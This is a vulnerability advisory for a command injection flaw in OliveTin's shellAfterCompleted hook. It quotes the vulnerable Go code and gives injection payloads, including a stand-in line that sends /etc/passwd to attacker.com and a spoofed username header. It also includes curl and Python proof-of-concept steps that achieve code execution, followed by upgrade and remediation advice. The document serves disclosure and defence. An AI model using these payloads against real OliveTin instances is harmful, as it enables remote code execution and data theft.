CVE-2026-75506: OliveTin: Second-Order OS Command Injection via shellAfterCompleted
Summary
OliveTin's shellAfterCompleted post-execution hook injects unsanitized variables — including arbitrary command output (output), the authenticated username (otusername), and the exit code (exitCode) — directly into a shell command template processed by sh -c. Unlike the main action's argument handling, no checkShellArgumentSafety validation is applied to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.
This is a distinct finding from CVE-2026-27626 (OS command injection via password type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the post-execution step (stepExecAfter), which has zero safety checks on any of its template variables.
Affected Versions
- All versions containing shellAfterCompleted functionality (current codebase through latest)
Details
Vulnerable Code Path
In service/internal/executor/executor.go, the stepExecAfter function handles post-execution commands:
go func stepExecAfter(req ExecutionRequest) bool { if req.Binding.Action.ShellAfterCompleted == "" { return true }
// These variables are injected WITHOUT any type checking or sanitization args := map[string]string{ "output": req.logEntry.Output, // Arbitrary command stdout/stderr "exitCode": fmt.Sprintf("%v", req.logEntry.ExitCode), "otexecutionTrackingId": req.TrackingID, "otusername": req.AuthenticatedUser.Username, // User-controlled via trusted headers }
// Template rendered with unsanitized args finalParsedCommand, err := tpl.ParseTemplateWithActionContext( req.Binding.Action.ShellAfterCompleted, req.Binding.Entity, args, )
// Directly passed to sh -c — NO safety check cmd := wrapCommandInShell(ctx, finalParsedCommand) // ... }
The wrapCommandInShell function (in executorunix.go) executes:
go func wrapCommandInShell(ctx ExecutionContext, finalParsedCommand string) exec.Cmd { return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand) }
Why This Bypasses Existing Protections
The main action's shell commands go through checkShellArgumentSafety (called from handleShellBranch at line 693 of executor.go), which blocks dangerous argument types like password, url, email, rawstringmultiline, and verydangerousrawstring from shell mode.
stepExecAfter calls none of these checks. The output variable is: - Not a declared argument with a type — it's internally created - Not validated against any regex or type system - Not passed through checkShellArgumentSafety - Directly interpolated into a shell command template
A grep for checkShellArgumentSafety in the codebase confirms it is only invoked at one location:
executor.go:693: if err := checkShellArgumentSafety(req); err != nil {
This is inside handleShellBranch (the primary action execution), not in stepExecAfter.
Injection Vectors
Vector 1: Output Reflection
If a primary action echoes user-controlled input:
yaml actions: - title: Lookup User shell: "echo 'User: {{ .Arguments.username }}'" shellAfterCompleted: "audit-log '{{ .Arguments.output }}'" arguments: - name: username type: asciiidentifier
While asciiidentifier constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into shellAfterCompleted.
Vector 2: Exec Mode Output Injection
Actions using exec mode (array form) safely handle arguments in the primary command but the output still flows to shellAfterCompleted through a shell:
yaml actions: - title: Read External Data exec: - cat - /shared/data/{{ .Arguments.filename }} shellAfterCompleted: "process-result '{{ .Arguments.output }}'" arguments: - name: filename type: asciiidentifier
If /shared/data/report contains text like: '; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #
The shellAfterCompleted becomes: bash process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'
This executes arbitrary commands as the OliveTin process user.
Vector 3: Username Injection via Trusted Headers
When trusted header authentication is used (see Finding 04), the otusername variable comes directly from an HTTP header with no sanitization:
yaml actions: - title: Any Action shell: "echo ok" shellAfterCompleted: "logger 'Action completed by {{ .Arguments.otusername }}'"
An attacker sets: X-Remote-User: '; id > /tmp/pwned #
The shellAfterCompleted becomes: bash logger 'Action completed by '; id > /tmp/pwned #'
This chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.
PoC
Prerequisites
- OliveTin instance with an action configured with shellAfterCompleted - The shellAfterCompleted template references {{ .Arguments.output }} or {{ .Arguments.otusername }}
Config
yaml listenAddressSingleHTTPFrontend: 0.0.0.0:1337 logLevel: "DEBUG" checkForUpdates: false
actions: - title: Process File id: process-file exec: - cat - "/tmp/olivetin-data/{{ .Arguments.filename }}" shellAfterCompleted: "echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log" arguments: - name: filename type: asciiidentifier
Step 1: Create a malicious data file
bash On the server, create a file with shell injection payload mkdir -p /tmp/olivetin-data echo "normaldata'; touch /tmp/PWNED; echo '" > /tmp/olivetin-data/report
Step 2: Execute the action normally
bash curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \ -H 'Content-Type: application/json' \ -d '{"bindingId":"process-file","arguments":[{"name":"filename","value":"report"}]}'
Step 3: Verify injection
bash ls -la /tmp/PWNED If the file exists, the injection was successful
Explanation: The cat command (exec mode) safely reads the file. The output normaldata'; touch /tmp/PWNED; echo ' is captured. Then shellAfterCompleted renders: bash echo 'normaldata'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.log This executes touch /tmp/PWNED as a second command.
Step 4: Username injection (with trusted headers)
yaml Add to config authHttpHeaderUsername: "X-Remote-User"
bash curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \ -H 'Content-Type: application/json' \ -H "X-Remote-User: test'; touch /tmp/PWNED2; echo '" \ -d '{"bindingId":"some-action","arguments":[]}'
If shellAfterCompleted uses {{ .Arguments.otusername }}, the injection executes.
Python PoC
python #!/usr/bin/env python3 """PoC: Second-Order Command Injection via shellAfterCompleted output variable.
Distinct from CVE-2026-27626 (password type injection in primary execution). This exploits the post-execution step which has zero argument safety checks. """
import requests import time import os
TARGET = "http://127.0.0.1:1337" BINDINGID = "process-file"
def setuppayload(): """Create a data file containing shell injection payload.""" os.makedirs("/tmp/olivetin-data", existok=True) with open("/tmp/olivetin-data/exploit", "w") as f: f.write("data'; id > /tmp/rce-proof; echo '") print("[+] Created malicious data file")
def triggeraction(): """Execute the action that reads the malicious file.""" resp = requests.post( f"{TARGET}/api/StartActionAndWait", json={ "bindingId": BINDINGID, "arguments": [{"name": "filename", "value": "exploit"}] }, headers={"Content-Type": "application/json"} ) print(f"[+] Action response: {resp.statuscode}") return resp.json()
def verifyrce(): """Check if the injected command executed.""" time.sleep(2) if os.path.exists("/tmp/rce-proof"): with open("/tmp/rce-proof") as f: print(f"[!] RCE CONFIRMED: {f.read().strip()}") return True else: print("[-] /tmp/rce-proof not found") return False
if name == "main": setuppayload() result = triggeraction() print(f"[] Action output: {result}") verifyrce()
Impact
- Remote Code Execution: Arbitrary commands execute as the OliveTin process user - Chained with Finding 04: Trusted header spoofing enables injection via otusername - Bypass of CVE-2026-27626 fix: The fix for that CVE only addressed checkShellArgumentSafety in the primary execution step; the post-execution step was not hardened - Exec mode bypass: Actions using the safe exec mode (array form) for the primary command can still be exploited through their output flowing to the shell-based shellAfterCompleted
Remediation
1. Apply checkShellArgumentSafety (or equivalent) to stepExecAfter variables 2. Shell-escape the output, otusername, and exitCode values before template substitution (e.g., using shellescape.Quote()) 3. Consider adding an exec-mode variant for shellAfterCompleted to avoid shell interpretation entirely 4. Sanitize otusername to reject shell metacharacters regardless of the auth provider
Other sources
OliveTin gives safe and simple access to predefined shell commands from a web interface. From 3000.0.0 until 3000.18.1, OliveTin passes attacker-influenceable output and otusername values into shellAfterCompleted processing in service/internal/executor/executor.go without applying checkShellArgumentSafety, the shell-safety validation used for primary action execution. The same post-execution template path also expands exitCode without that validation, but the advisory does not establish attacker control of the exit-code value. When an action configures shellAfterCompleted with output or otusername, shell metacharacters from command output, external data processed by an action, or a trusted-header username can become syntax in the command executed by the stepExecAfter path. This can execute arbitrary commands as the OliveTin process user, including when the primary action uses the safer exec-array mode. This issue is fixed in version 3000.18.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/OliveTin/OliveTinto a version that resolves this vulnerability.Fixed in 0.0.0-20260728155752-e5d29b68da66 - Upgrade
Upgrade
OliveTinto a version that resolves this vulnerability.Fixed in 3000.18.1 - Compensating control
In stepExecAfter, apply checkShellArgumentSafety (or equivalent) to output, ot_username, and exitCode before shell template execution, or shell-escape those values before template substitution (for example, with shellescape.Quote()).